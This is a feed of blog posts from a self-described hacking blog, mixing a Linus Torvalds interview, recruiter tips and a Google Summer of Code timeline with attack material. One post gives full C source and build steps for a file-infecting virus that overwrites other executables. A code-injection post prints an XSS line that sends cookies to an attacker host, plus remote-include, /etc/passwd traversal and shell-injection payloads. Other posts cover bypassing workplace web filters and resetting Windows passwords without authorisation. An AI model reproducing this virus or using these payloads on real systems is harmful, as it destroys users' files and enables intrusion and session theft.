Amit-Spot::The True Hacking Spot

Trick to get access into Facebook, YouTube and other Social Networking sites in Schools and Offices

noreply@blogger.com (Amit Tyagi) — Thu, 25 Oct 2012 11:04:00 +0000

Get access to Blocked websites in offices and Colleges with this Trick:

Well, This post is for all those guys who are really dying without facebook and social networking in the premises of their College or Offices. I also was suffering from the same situation my company has blocked all the social networking websites, torrent site , porn sites, and other music sites etc. These people were using FortiGuard to block all the traffic to above mentioned websites. Basically all the companies and organization uses Web Filtering application those want to block some unwanted sites.This way they they create a proxy point to let the data pass through this point and the this application applies filtering rules over this data for the valid access to the sites. But if some how you could bypass this point then it could be the way to get access to your desired site.Although you all know that proxy servers are the way to go to these sites in the same way but Web filtering application prevents you to go to any proxy site.

Role of Proxy server in Networking

So what should be the solution for this situation> i have tried a lot but didn't find a proxy site which could provide me the access to go there. Finally I have come across to a tiny application which was hosted on Google Apps. This tiny application is named as "Blue Box".If you go to this application then it will provide you the access to social networking sites.All you need to do is to follow these steps:

1. Download Mozilla Firefox Browser from Here.
2. Now press CTRL+SHIFT+A to open Add-Ons window.
3.Now search for Blue Box Add-on.
4.Click on Install button to install this Add-one.
5.Now restart the bowser to make changes.
6.Go to Google and search for Facebook here.
7. Right click on the first result for facebook.com
8. open with Blue Box.

You are done with all the configurations and you will see the real facebook page and now proceed further to have fun.

If you have further queries then please let me know in comments.

Have fun guys !!

An Interview with Linus Torvalds

noreply@blogger.com (Amit Tyagi) — Wed, 16 Mar 2011 11:50:00 +0000

As everybody know that Linus Torvalds is the father of Linux.

So what's going on with Linux and Linus these days? There are a lot of people who are asking, with yet another delay of Microsoft's Vista. Linux could emerge a victor in this voracious vindication for valor with the votive that there is value in the virtues of running Linux. That being said, you may call him Linus... and this was our interView:

Will: Did you ever expect Linux to get as popular as it did?
Linus: Obviously not. Nobody did.
In fact, I have this theory that _if_ you put your expectations high and set lofty goals, you'll just fail. You'll worry about all the things you need to get done, and you'll be discouraged by how much work there is left to do.

So the way I worked (and still work) is to just worry about "today". No huge expectations, just doing whatever makes sense at the time, and enjoy doing it.
Will: Having used myself many different distros of Linux including SuSE, Red Hat, Mandriva, etc... Do you have a personal favorite mainstream distro?
Linus: I used to actively make sure I used several different ones, just to not be biased. So I had a RH box _and_ a SuSE one, and switched between them, for example. At some point I decided it doesn't really matter any more: the market is big enough that nobody cares what _I_ do, so just for simplicity
I ended up doing just one distribution so that my different machines looked as similar as possible.

Of course, the "one distribution" has changed over time. It used to be SuSE, then when I switched to PowerPC it was YellowDog, then when Fedora did a PPC version I switched to that (so that I could have the same thing on my G5 desktop and my regular x86 laptop).
So right now it happens to be FC5. Whether that is "favourite" or not, I'm not sure. It's more of a random choice.

Will: I remember the toils of getting iBrowse to work on my Amiga, and many years has since past, What's your favorite Web-Browser?
Linus: Konqueror was my browser of choice for several years, because it had anti-aliasing early and none of the others did that well. These days they all do more than I tend to need, so I've ended up using konqueror mostly as a file manager, and for actual web browsing I use Firefox just because it's everywhere.
Will: Wife wants to know... what's your favorite geek gadget?

Umm. I'm actually so spoiled that when I go to most electronics stores, I'm not drooling after any gadgets there, since I have better gadgets at home - often stuff that hasn't been released yet ;

Which kind of makes me jaded.

I don't know if it counts as a "gadget", but I drool after the Canon 5D (it's a full-frame DSLR camera, in case you're not into that kind of fetish). I just can't see myself blowing that much money on something that in the end - for me - is just a total toy.
Will: Virtualization is all the buzz in computing today. With companies opening up to alternative OS's running on their hardware, do you think Linux will have a significant role in emerging technologies such as replacement of closed source software?
Linus: I think you already see it. I think that very much for emerging technologies, the flexibility of open source ends up being a big deal. Think TiVo in the DVR space, and now apparently the PS3 in gaming. Places where people do some custom thing of their own, but need a real OS for the
flexibility.

Now, whether virtualization will be such a huge market, we'll see.
Will: And with that our Linux hero disappears off into the Internet sifting through hundreds of e-mails a day, cranking out the next latest and greatest kernel called... Linux.

So this was a tiny interview of Linus Torvalds with William nett.

creating a Port scanner in C -

noreply@blogger.com (Amit Tyagi) — Wed, 09 Mar 2011 21:05:00 +0000

#include //standard library function
#include //for socket n networking functions
#include //for socket function
#include //for networking
#include //for database......... not required........ here
#include //stad library function hope u guys know abt this
#include

/* Main programs starts*/
int main(int argc, char **argv) //argc
{
int sd; //socket descriptor
int port; //port number
int start; //start port
int end; //end port
int rval; //socket descriptor for connect
char response[1024]; //to receive data
char *message="shell"; //data to send
struct hostent *hostaddr; //To be used for IPaddress
struct sockaddr_in servaddr; //socket structure

if (argc < 4 )
{
printf("------Created By softhardware n");
printf("--------------------------------------------------\n");
printf("Usage: ./tscan \n");
printf("--------------------------------------------------\n");
return (EINVAL);
}
start = atoi(argv[2]); //Takes the starting port number to scan from
end = atoi(argv[3]); // FOr last port number that has to be scanned

for (port=start; port<=end; port++)
{

//portno is ascii to int second argument

sd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); //created the tcp socket // PF_INET==family name AF_INET can also be used, SOCK_STREAM is how data bytes have to be sent, IPPRPTP_TCP== which protocol to follow, UDP or TCP

if (sd == -1) // THis fucntion checks for the socket creation, if socket is created successful then continue else.... print error
{
perror("Socket()\n");
return (errno);
}

memset( &servaddr, 0, sizeof(servaddr));

servaddr.sin_family = AF_INET; //FAMILY NAME
servaddr.sin_port = htons(port); //set the portno

hostaddr = gethostbyname( argv[1] ); //get the ip 1st argument

memcpy(&servaddr.sin_addr, hostaddr->h_addr, hostaddr->h_length);

//below connects to the specified ip in hostaddr

rval = connect(sd, (struct sockaddr *) &servaddr, sizeof(servaddr));
if (rval == -1)
{
printf("Port %d is closed\n", port);
close(sd);
}
else
printf("Port %d is open\n",port);

close(sd); //socket descriptor
}

}

[for unix platform]

How to create a computer virus in C ?

noreply@blogger.com (Amit Tyagi) — Wed, 09 Mar 2011 20:46:00 +0000

Here the following program will show that how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.

#include
#include
#include
#include
#include
#include
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
That’s it.

WARNING: FOR EDUCATIONAL PURPOSES ONLY
Recommendation- Don't create viruses as it is an illegal activity this was just an
example that how viruses hurts your system privacy.The best Anti-virus Which I would like to recommend you to use Kaspersky Anti-Virus.This is Recommended not only by me but also by hackers.Reason is that other Anti-viruses detects viruses on the basis of signatures whereas Kaspersky Anti-Virus scans for the viruses on the basis of Behavior, that means when a virus files works as an unauthorized system file then it will be reported to be a Virus.

Top 10 tips for technology recruiters from a geek's perspective!

noreply@blogger.com (Amit Tyagi) — Tue, 08 Mar 2011 14:49:00 +0000

Story by William nett,
Ok, so I've been interviewed this month several times for various positions. This prompted me to come up with my top ten clues for recruiters (internally & externally) to effectively hire geeks.

1. Know thy clients requirements. We're not asking you to go and get MCSE, CCNA, or Solaris certified, but a comprehension of technology terminology definitely helps you to help us help you make money. Befriend a geek and maybe buy him/her lunch. During that lunch do not be afraid to ask questions about things you do not understand. A good geek can explain to you in layman's terms what is what, and help you comprehend what your customer is looking for. Trust me when I say there is nothing more frustrating for a geek when he has ten plus years experience and the recruiter disqualifies the candidate because he has no experience with DCHP. DHCP was the correct acronym... but recruiter had no idea what that was. Good geeks actually are willing to help.

2. Peter Parker does not exist. You are not going to find someone with MCSE (Windows), SCSA (UNIX), RHCE (Red Hat), CCIE (Cisco), CISSP (Security) certifications, and who has good experience in Oracle DBA, Bioinformatics, wireless, and data backup. I don't care how much money you throw at them, this is not one person... this is a small team of people. One person cannot be expected to perform all of these duties in an effective capacity. We may be geeks, but we do have limitations. If you do find a geek who can perform all of these duties, they'll burn out in a matter of weeks.

3. Certifications are worth their weight in paper. Surely you've seen these candidates who have a ton of certifications all obtained in one years time. Let me set the record straight... we call these people paper qualified. More than likely (99.99% chance) they did not learn the job, but rather they learned how to pass the test from a boot camp or cert mill. Experience weighs more heavily in my perspective than any certification or diploma. Any experienced geek knows that what's on a certification test may never apply in the real world. There exists too many potential variables that could cause something to go wrong that textbooks don't teach. I'd rather work in the trench with a geek who has been there rather than one who read it somewhere.

4. Thou shall not lie. Remember, we are believe it or not social, and do talk amongst each other. We are inquisitive and find out rather quickly what our peers make and often at times compare our skill sets and experiences. If you bring me in at $40K/yr and I find out that someone on my team is making $70K/yr with lesser experience or knowledge... you can bet your paycheck I'll be on Monster.com within a few weeks. I once knew a disgruntled geek who had access to HR's monthly payroll spreadsheet and would send it out via anonymous e-mail to everyone in our department. That company has since folded.

5. Red tomatoes vs. Green tomatoes. What you call an Analyst may be called a technician by another company... or maybe an Administrator. There has never in the explosive growth of technology an HR summit that clearly labels or defines a position. Titles mean nothing to us in the grand scheme of things. Granted in the 80's there were either operators, technicians, or programmers, but today there exists too much melded criteria for too long to actually define a position title. Look at our resumes and compare that with your customer's needs. You'll have far better success.

6. The emperors new clothes. We're geeks... If we are expected to run wires beneath raised floors that haven't been cleaned in five years or climb under someone's desk, do not expect us to wear suits, collared shirts and tie every day of the week. We don't like it when we go home looking dirty because we had to go in a dusty closet and run wires. Remember that good geeks seldom have to go into closets that your cleaning crews don't even know about.

7. Salary is not slavery. Many of us that have supported the birth of the Internet are now in our thirties and forties. As such, believe it or not... many of us have families. Albeit, there are many newbie's (High-school & College Grads) that are single and enjoy working many hours overtime or working off hours... but remember we're human too. Our husbands, wives, and children would like to spend time with us as well. Please consider writing an official plan for comp time or overtime compensation. If you don't compensate your geek, someone else will.

8. Benefits is not just a word... it's a plan. Companies that have medical / dental benefits plans that equate to nothing more than a toothbrush and aspirin are small potatoes. If this is your plan, expect to retain lower grade geeks. I once worked for a company that had a medical insurance program through a company I will not mention that when I called about my children's medical shots for school told me, "Don't call us unless an ambulance is involved." Needless to say, I moved on.

9. Be Frank! Geeks are fickle, and ridiculously honest if you are frank with them. Interviews for us can be stressful... we are not salesmen / saleswomen, but if you talk to us like you would talk to your neighbor of ten years, we won't lie. Good geeks hate to frump themselves up with their knowledge or affiliations. We know, you are not a geek, and as such we will throw buzzwords your way that will get us into the door so we can meet with hopefully like geeks that will comprehend what we've done and where we plan to go. Ground zero honesty is the best policy.

10. When in doubt... Lunch! Invite a currently employed geek to lunch, no strings attached, pay for it, and fire away. You may learn exactly what your client / employer is looking for. You'll also learn a lot about the culture and personality of the geek. Never be afraid to ask them to break it down into layman's terms. If she/he is good, then they will convey it to you effectively in a way that you can understand.

In the end, if you follow these rules... you'll have a happy geek staff.

by-
William M. Nett

Google Summer of code-2011

noreply@blogger.com (Amit Tyagi) — Thu, 24 Feb 2011 05:47:00 +0000

About Google Summer of Code-

Google Summer of Code is a global program that offers student developers stipends to write code for various open source software projects. We have worked with several open source, free software, and technology-related groups to identify and fund several projects over a three month period. Since its inception in 2005, the program has brought together over 4500 successful student participants and over 3000 mentors from over 100 countries worldwide, all for the love of code. Through Google Summer of Code, accepted student applicants are paired with a mentor or mentors from the participating projects, thus gaining exposure to real-world software development scenarios and the opportunity for employment in areas related to their academic pursuits. In turn, the participating projects are able to more easily identify and bring in new developers. Best of all, more source code is created and released for the use and benefit of all.

To learn more about the program, peruse our 2011 Frequently Asked Questions page. You can also subscribe to the Google Open Source Blog or the Google Summer of Code Discussion Group to keep abreast of the latest announcements.

Participating in Google Summer of Code-

For those of you who would like to participate in the program, there are many resources available for you to learn more. Check out the information pages from the 2005, 2006, 2007, 2008, 2009, and 2010 instances of the program to get a better sense of which projects have participated as mentoring organizations in Google Summer of Code each year. If you are interested in a particular mentoring organization, just click on its name and you'll find more information about the project, a summary of their students' work and actual source code produced by student participants. You may also find the program Frequently Asked Questions (FAQs) pages for each year to be useful. Finally, check out all the great content and advice on participation produced by the community, for the community, on our program wiki.

If you don't find what you need in the documentation, you can always ask questions on our program discussion lis t or the program IRC channel, #gsoc on Freenode.

Visit the Google Summer of Code 2011 site for more details about the program this year.

For a detailed timeline and further information about the program, review our Frequently Asked Questions.

Terms and conditions for participants-

There are two types of participant agreements in this contest, 1. Admin and Mentor participant Agreement 2. Student participant Agreement

To read out 1st type of agreement Go Here.

And to read out 2nd type of Agreement Click Here.

Program's terms of services can be read out Here.

GSOC Programme Timeline-

January 24:	Program announced.
February 28: 19:00 UTC	Mentoring organizations can begin submitting applications to Google.
March 11: 23:00 UTC	Mentoring organization application deadline.
March 14-17:	Google program administrators review organization applications.
March 18: 19:00 UTC	List of accepted mentoring organizations published on the Google Summer of Code 2011 site.
March 18-27:	Would-be student participants discuss application ideas with mentoring organizations.
March 28: 19:00 UTC	Student application period opens.
April 8: 19:00 UTC	Student application deadline.
Interim Period:	Mentoring organizations review and rank student proposals; where necessary, mentoring organizations may request further proposal detail from the student applicant.
April 22:	All mentors must be signed up and all student proposals matched with a mentor - 07:00 UTC Student ranking/scoring deadline. Please do not add private comments with a nonzero score or mark students as ineligible (unless doing so as part of resolving duplicate accepted students) after this deadline - 17:00 UTC IRC meeting to resolve any outstanding duplicate accepted students - 19:00 UTC #gsoc
April 25: 19:00 UTC	Accepted student proposals announced on the Google Summer of Code 2011 site.
Community Bonding Period:	Students get to know mentors, read documentation, get up to speed to begin working on their projects.
May 23:	Students begin coding for their GSoC projects; Google begins issuing initial student payments provided tax forms are on file and students are in good standing with their communities.
Interim Period:	Mentors give students a helping hand and guidance on their projects.
July 11: 19:00 UTC	Mentors and students can begin submitting mid-term evaluations.
July 15: 19:00 UTC	Mid-term evaluations deadline; Google begins issuing mid-term student payments provided passing student survey is on file.
Interim Period:	Mentors give students a helping hand and guidance on their projects.
August 15:	Suggested 'pencils down' date. Take a week to scrub code, write tests, improve documentation, etc.
August 22: 19:00 UTC	Firm 'pencils down' date. Mentors, students and organization administrators can begin submitting final evaluations to Google.
August 26: 19:00 UTC	Final evaluation deadline Google begins issuing student and mentoring organization payments provided forms and evaluations are on file.
August 29:	Final results of GSoC 2011 announced
August 30:	Students can begin submitting required code samples to Google
October 22 & 23:	Mentor Summit at Google: Representatives from each successfully participating organization are invited to Google to greet, collaborate and code. Our mission for the weekend: make the program even better, have fun and make new friends.

Top 20 Hacking Tools

noreply@blogger.com (Amit Tyagi) — Wed, 23 Feb 2011 12:47:00 +0000

There are so many Hacking tools available in the Network Security field. But there is the problems with beginners in order to select the best tools used for hacking ever.I am giving just a list of Top 20 tools but soonly I will also provide you the Top 100 Hacking tools downloadable from here.

1. Nessus

2. Wireshark

3. Snort

4. Natcat

5. Metasploit Framework

6. Hping2

7. Kismet

8. Tcpdump

9. Cain and Abel

10. John the Ripper

11. Ettercap

12. Nikto

13. Ping/telnet/dig/traceroute/whois/netstat

14. OpenSSH / Putty / SSH

15. THC Hydra

16. Paros Proxy

17. Dsniff

18. NetStumbler

19. THC Amap

20. GFI LANguard

If you want more on Hacking tools then You can Mail Me.

Recover Hacked E-mail Account-

noreply@blogger.com (Amit Tyagi) — Mon, 17 Jan 2011 02:48:00 +0000

How to Recover Hacked Email Accounts?

It can be a real nightmare if someone hacks and takes control of your email account as it may contain confidential information like bank logins, credit card details and other sensitive data. If you are one such Internet user whose email account has been compromised, then this post will surely help you out. In this post you will find the possible ways and procedures to get back your hacked email account.

For Gmail:

It can be a big disaster if your Gmail account has been compromised as it may be associated with several services like Blogger, Analytics, Adwords, Adsense, Orkut etc. Losing access to your Gmail account means losing access to all the services associated it with too. Here is a list of possible recovery actions that you can try.

Step -1: Try resetting your password since it is the easiest way to get your account back in action. In this process Google may ask you to answer the secret question or may send the password reset details to the secondary email address associated with your compromised account. You can reset you password from the following link

Gmail Password Recovery Link
If you cannot find success from the Step-1 then proceed to Step-2.

Step-2: Many times the hacker will change the secret question and secondary email address right after the account is compromised. This is the reason for the Password Reset process to fail. If this is the case then you need to contact the Gmail support team by filling out the account recovery form. This form will ask you to fill out several questions like

1. Email addresses of up to five frequently emailed contacts
2. Names of any 4 Labels that you may have created in your account
3. List of other services associated with your compromised account
4. Your last successful login date
5. Account created date
6. Last password that you remember and many more…

You need to fill out this form as much accurately as possible. It is obvious to forget the dates of last login, account creation and similar terms. However you need to figure out the closest possible date/answers and fill out this form. This is your last chance! The more accurate the information filled out in the recovery form, the more the chances of getting your account back. You may reach the account recovery page form the following link

Account Recovery Form

For Yahoo and Hotmail:

Unfortunately for Yahoo/Hotmail there is no second option like filling out the form or contacting the support team. All you need to do is either answer the secret questions that you have setup or reset the password using the secondary email option.

To initiate the password reset process just click on the Forgot password link in your login page and proceed as per the screen instructions.

I hope this post will help you to recover the lost account. Because it is not easy to remember all the details for your account those google required, that's why I personally recommend you not to disclose your personal informations with anyone about your account.

Hack Windows Administrator Password-

noreply@blogger.com (Amit Tyagi) — Mon, 17 Jan 2011 02:29:00 +0000

This hack will show you how to reset Windows administrator password (for Win 2000, XP, Vista and Win 7) at times when you forget it or when you want to gain access to a computer for which you do not know the password.

Most of us have experienced a situation where in we need to gain access to a computer which is password protected or at times we may forget the administrator password without which it becomes impossible to login to the computer. So here is an excellent hack using which you can reset the password or make the password empty (remove the password) so that you can gain administrator access to the computer. You can do this with a small tool called Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features.

You do not need to know the old password to set a new one
Will detect and offer to unlock locked or disabled out user accounts!
There is also a registry editor and other registry utilities that works under linux/unix, and can be used for other things than password editing.

How it works?

Most Windows operating systems stores the login passwords and other encrypted passwords in a file called sam (Security Accounts Manager). This file can be usually found in \windows\system32\config. This file is a part of Windows registry and remains inaccessible as long as the OS is active. Hence it is necessary that you need to boot off your computer and access this sam file via boot. This tool intelligently gains access to this file and will reset/remove the password associated with administrator or any other account.

The download link for both CD and floppy drives along with the complete instructions is given below

Offline NT Password & Reg Editor Download

It is recommended that you download the CD version of the tool since floppy drive is outdated and doesn’t exist in today’s computer. Once you download you’ll get a bootable image which you need to burn it onto your CD. Now boot your computer from this CD and follow the screen instructions to reset the password.

Another simple way to reset non-administrator account passwords

Here is another simple way through which you can reset the password of any non-administrator accounts. The only requirement for this is that you need to have administrator privileges. Here is a step-by-step instruction to accomplish this task.

1. Open the command prompt (Start->Run->type cmd->Enter)

2. Now type net user and hit Enter

3. Now the system will show you a list of user accounts on the computer. Say for example you need to reset the password of the account by name John, then do as follows

4. Type net user John * and hit Enter. Now the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.

So in this way you can reset the password of any Windows account at times when you forget it so that you need not re-install your OS for any reason. I hope this helps

PHP Injection-

noreply@blogger.com (Amit Tyagi) — Sun, 16 Jan 2011 13:49:00 +0000

Overview and example

A web server has a "Guest book" script, which accepts small messages from users, and typically receives messages such as Nice site! However a malicious person may know of a code injection vulnerability in the "Guest book", and enters a message such as

Nice Site,  I think I'll take it.>
<script>document.location='http://
some_attacker/cookie.cgi?'
 +document.cookie</script

If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code.

That post was awesome, :>)

In this case the emoticon would cause the HTML to be malformed because a malformed HTML tag was injected into the code. Most of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data. Classic examples of dangerous assumptions a software developer might make about the input to a program includes:

assuming that metacharacters for an API never occurs in an input; e.g. assuming punctuation like quotation marks or semi-colons would never appear
assuming only numeric characters will be entered as input
assuming the input will never exceed a certain size
assuming that numeric values are equal or less than upper bound
assuming that numeric values are equal or greater than lower bound
assuming that client supplied values set by server (such as hidden form fields or cookies), cannot be modified by client. This assumption ignores known attacks such as Cookie poisoning, in which values are set arbitrarily by malicious clients.
assuming that it is okay to pick pointers or array indexes from input
assuming an input would never provide false information about itself or related values, such as the size of a file

Uses of Code Injection

Intentional Use-

Malevolent

Use of code injection is typically viewed as a malevolent action, and it often is. Code injection techniques are popular in system hacking or cracking to gain information, Privilege escalation or unauthorised access to a system. Code injection can be used malevolently to:

Arbitrarily modify values in a database through a type of code injection called SQL injection. The impact of this can range from defacement of a web site to serious compromisation of sensitive data.
Install malware on a computer by exploiting code injection vulnerabilities in a web browser or its plugins when the user visits a malicious site.
Install malware or execute malevolent code on a server, by PHP or ASP Injection.
Privilege escalation to root permissions by exploiting Shell Injection vulnerabilities in a setuid root binary on UNIX.
Privilege escalation to Local System permissions by exploiting Shell Injection vulnerabilities in a service on Windows.
Stealing sessions/cookies from web browsers using HTML/Script Injection (Cross-site scripting).

Benevolent-

Some people may use code injections with good intentions. For example, changing or tweaking the behavior of a program or system through code injection can "trick" the system into behaving in a certain way without any malicious intent. For example:

Code injection could introduce a useful new column that did not appear in the original design of a search results page.
By using a field not exposed in the default functions of the original design, a code injection could offer a new way to filter, order, or group data.

Someone might resort to this sort of work-around for one of these reasons:

Other ways of modifying the software to function as desired prove impossible, or
Other ways of modifying the software are prohibitively costly, or
Other ways of modifying the software become too frustrating or painful.

The development community as a whole frowns on code injection for this purpose, calling it a kludge or hack. Some developers allow or even promote the use of code injection to "enhance" their software, usually because this solution offers a less expensive way to implement new or specialized features. Unfortunately, the side effects and unaccounted implications can be very dangerous. In general, even well-intentioned use of code injection is discouraged.

Unintentional Use-

Some users may unsuspectingly perform code injection because input they provide to a program was not considered by those who originally developed the system. For example:

What the user may consider a valid input may contain token characters or character strings that have been reserved by the developer to have special meaning (perhaps the "&" in "Shannon & Jason", or quotation marks as in "Bub 'Slugger' McCracken").
The user may submit a malformed file as input that is handled gracefully in one application, but is toxic to the receiving system.

Preventing Code Injection To prevent Code Injection problems, utilize Secure input and output handling, such as:

Input validation
Escaping dangerous characters. For instance using the addslashes() function in PHP to protect against SQL Injection.
Input encoding
Output encoding
OOther coding practices which are not prone to Code Injection vulnerabilities, such as "parameterized SQL queries" (also known as "prepared statements" and sometimes "bind variables").

Examples of Code Injection

SQL Injection-

SQL injection/a> takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query. For example, consider a web page has two fields to allow users to enter a user name and a password. The code behind the page will generate a SQL query to check the password against the list of user names:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code ("password' OR '1'='1") in the Password field, then the resulting query will look like this:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'

In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'" will always be true and many rows will be returned, thereby allowing access. TThe technique may be refined to allow multiple statements to run, or even to load up and run external programs.

PHP Injection-

"PHP Injection," "ASP Injection," i>et cetera are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "PHP Injection," the server side scripting engine is PHP. IIn practice, PHP Injection is either the exploitation of "Dynamic Evaluation Vulnerabilities," "Include File Injection," or similar code injection vulnerabilities.

Dynamic Evaluation Vulnerabilities-

Steven M. Christey of a class="external text" href="http://www.mitre.org/" rel="nofollow" title="http://www.mitre.org">mitre.org suggests this name for a class of code injection vulnerabilities.

Dynamic Evaluation Vulnerabilities - Eval Injection-

An eval injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call.[2]

$myvar = 'somevalue'; 
$x = $_GET['arg']; 
eval('$myvar = ' . $x . ';');

The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo&".

Dynamic Evaluation Vulnerabilities - Dynamic Variable Evaluation

As defined in a class="external text" href="http://seclists.org/lists/fulldisclosure/2006/May/0035.html" rel="nofollow" title="http://seclists.org/lists/fulldisclosure/2006/May/0035.html">"Dynamic Evaluation Vulnerabilities in PHP applications": PHP supports "variable variables," which are variables or expressions that evaluate to the names of other variables [3]. They can be used to dynamically change which variable is accessed or set during execution of the program. This powerful and convenient feature is also dangerous. A number of applications have code such as the following:

$safevar = "0"; 
$param1 = ""; 
$param2 = ""; 
$param3 = ""; 
# my own "register globals" for param[1,2,3] 
foreach ($_GET as $key => $value) { 
  $$key = $value; 
}

If the attacker provides "safevar=bad" in the query string, then $safevar will be set to the value "bad".

Dynamic Evaluation Vulnerabilities - Dynamic Function Evaluation

The following PHP-examples will execute a function specified by request.

$myfunc = $_GET['myfunc']; 
$myfunc();

and:

$myfunc = $_GET['myfunc']; 
${"myfunc"}();;

Include File Injection

Consider this PHP program (which includes a file specified by request): The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:

/vulnerable.php?COLOR=http://evil/exploit? - injects a remotely hosted file containing an exploit.
/vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php
/vulnerable.php?COLOR=../../../../../../../../etc/passwd - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.
/vulnerable.php?COLOR=C:\\notes.txt - example using NULL meta character to remove the .php suffix, allowing access to other files than .php. (PHP setting "magic_quotes_gpc = On", which is default, would stop this attack)

Shell Injection

Shell Injection is named after a href="http://en.wikipedia.org/wiki/Unix_shell" title="Unix shell">Unix shells, but applies to most systems which allows software to programmatically execute command line. Typical sources of Shell Injection is calls system(), StartProcess(), java.lang.Runtime.exec(), System.Diagnostics.Process.Start() and similar APIs. Consider the following short PHP program, which runs an external program called funnytext to replace a word the user sent with some other word) This program can be injected in multiple ways:

`command` will execute command.
$(command) will execute command.
; command will execute command, and output result of command.
| command will execute command, and output result of command.
&& command will execute command, and output result of command.
|| command will execute command, and output result of command.
> /home/user/phpguru/.bashrc will overwrite file .bashrc.
< /home/user/phpguru/.bashrc will send file .bashrc as input to funnytext.

PHP offers escapeshellarg() and escapeshellcmd() to perform encoding before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.

HTML/Script Injection (Cross Site Scripting)-

Main article: Cross-site scripting

HTML/Script Injection is a popular subject, commonly termed "Cross Site Scripting", or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the outputted HTML, without being checked for HTML code or scripting. The two basic types are as follows: Active (Type 1) This type of XSS flaw is less dangerous, as the user input is placed into a dynamically generated page. No changes are made on the server. Passive (Type 2) This type is more dangerous, as the input is written to a static page, and as such, is persistent.

HTML Injection in IE7 Via Infected DLL-

According to an article[3] in UK tech site 'The Register', HTML injection can also occur if the user has an infected DLL on their system. The article quotes Roger Thompson who claims that "the victims' browsers are, in fact, visiting the PayPal website or other intended URL, but that a dll file that attaches itself to IE is managing to read and modify the html while in transit. The article mentions a phishing attack using this attack that manages to bypass IE7 and Symantec's attempts to detect suspicious sites.

ASP Injection-

"ASP Injection", "PHP Injection" i>etc. are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "ASP Injection", the server side scripting engine is Microsoft Active Server Pages, an add-on to Microsoft IIS. In practice, ASP Injection is either the exploitation of Dynamic Evaluation Vulnerabilities, Include File Injection or similar code injection vulnerabilities. Example: IIn this example, the user is able to insert a command instead of a username. Analogy Code injection is an error in interpretation. Similar interpretation errors exist out side of the world of computer science such as the comedy routine Who's on First?/a> . This conversation was property validated by this quote:

"Not the pronoun but a player with the unlikely name of Who, is on first"

Change Google logo text to Your Name-

noreply@blogger.com (Amit Tyagi) — Thu, 09 Dec 2010 10:10:00 +0000

How to Change Google Doodle with your Own Text? -

How would you like to replace the boring Google Text Logo with your own name or any names that look appealing to you? It really looks cool to me, now there is no more Google Logo Text in my firefox browser. What’s I have now is the Amit Tyagi Search Engine!! LOL!

If you find this trick looks really cool, here’s how to make your own Google Logo Text. Please note that this trick only apply for firefox browser.

1. First, you need to install the GreaseMonkey firefox add-on
2. Next, install the required scriptOnce finished,
3. Go for Google.com
4. Double clicks the Google Logo and a box will appear similar to
the figure below.

Now, you can type your own text ( letters and space ) and assign different color for each letter.

In color edit box, type the numbers: 1 – blue, 2 – red, 3 – yellow, 4 – green or other – random.

Click the “Change” button when finished and you will noticed the new Google Logo Text.

Change the Google Doodle with your favourite one:-

In the above section, I have shown you on how to Replace the Google text logo with any names you like. Well, the trick is pretty old now. So, it’s time to learn a new trick. This time you will learn on how to Replace the logo on Google homepage with your favourite Google Doodle.

